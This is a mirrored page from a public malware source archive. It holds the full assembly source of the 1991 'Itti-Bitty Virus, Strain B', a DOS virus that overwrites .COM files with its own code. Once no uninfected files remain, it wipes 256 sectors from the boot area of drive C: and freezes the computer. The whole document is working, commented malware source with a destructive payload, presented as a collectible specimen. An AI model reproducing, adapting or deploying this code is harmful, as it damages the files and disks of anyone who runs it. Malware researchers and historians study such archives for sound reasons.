mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
96 lines
2.8 KiB
NASM
96 lines
2.8 KiB
NASM
; The Itti-Bitty Virus, Strain B
|
|
; The smallest virus ever written (only 99 bytes)
|
|
;
|
|
; (C) 1991 Nowhere Man and [NuKE] WaErZ
|
|
; Written by Nowhere Man
|
|
;
|
|
;
|
|
|
|
title "The Itti-Bitty Virus, Strain B: Even smaller"
|
|
|
|
code segment 'CODE'
|
|
assume cs:code,ds:code,es:code,ss:code
|
|
|
|
org 0100h
|
|
|
|
code_length equ finish - start
|
|
|
|
start label near
|
|
|
|
id_bytes proc near
|
|
mov si,si ; Serves no purpose: our ID
|
|
id_bytes endp
|
|
|
|
main proc near
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds attribute mask
|
|
mov dx,offset com_spec ; DX points to "*.COM"
|
|
|
|
file_loop: int 021h
|
|
jc go_off ; If there are no files, go off
|
|
|
|
call infect_file ; Try to infect found file
|
|
jne exit_virus ; Exit if successful
|
|
|
|
mov ah,04Fh ; DOS find next file function
|
|
jmp short file_loop ; Repeat until out of files
|
|
|
|
exit_virus: mov ax,04C01h ; DOS terminate function, code 1
|
|
int 021h
|
|
main endp
|
|
|
|
go_off proc near
|
|
cli ; Prevent all interrupts
|
|
|
|
mov ah,2 ; AH holds drive number (C:)
|
|
cwd ; Start with sector 0 (boot sector)
|
|
mov cx,0100h ; Write 256 sectors (fucks disk)
|
|
int 026h ; DOS absolute write interrupt
|
|
|
|
jmp $ ; Infinite loop; lock up computer
|
|
go_off endp
|
|
|
|
infect_file proc near
|
|
mov ax,03D02h ; DOS open file function, read-write
|
|
mov dx,09Eh ; DX points to the victim
|
|
int 021h
|
|
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
mov ah,03Fh ; DOS read from file function
|
|
mov cx,2 ; CX holds byte to read (2)
|
|
mov dx,offset buffer ; DX points to buffer
|
|
int 021h
|
|
|
|
cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
|
|
pushf ; Save flags
|
|
je close_it_up ; If not, then file is OK
|
|
|
|
cwd ; Zero CX \_ Zero bytes from start
|
|
mov cx,dx ; Zero DX /
|
|
mov ax,04200h ; DOS file seek function, start
|
|
int 021h
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
mov cx,code_length ; CX holds virus length
|
|
mov dx,offset start ; DX points to start of virus
|
|
int 021h
|
|
|
|
close_it_up: mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
|
|
popf ; Restore flags
|
|
ret ; Return to caller
|
|
|
|
buffer dw ? ; Buffer to hold test data
|
|
infect_file endp
|
|
|
|
|
|
; Initialized data goes here
|
|
|
|
com_spec db "*.COM",0 ; What to infect: all COM files
|
|
|
|
finish label near
|
|
|
|
code ends
|
|
end id_bytes |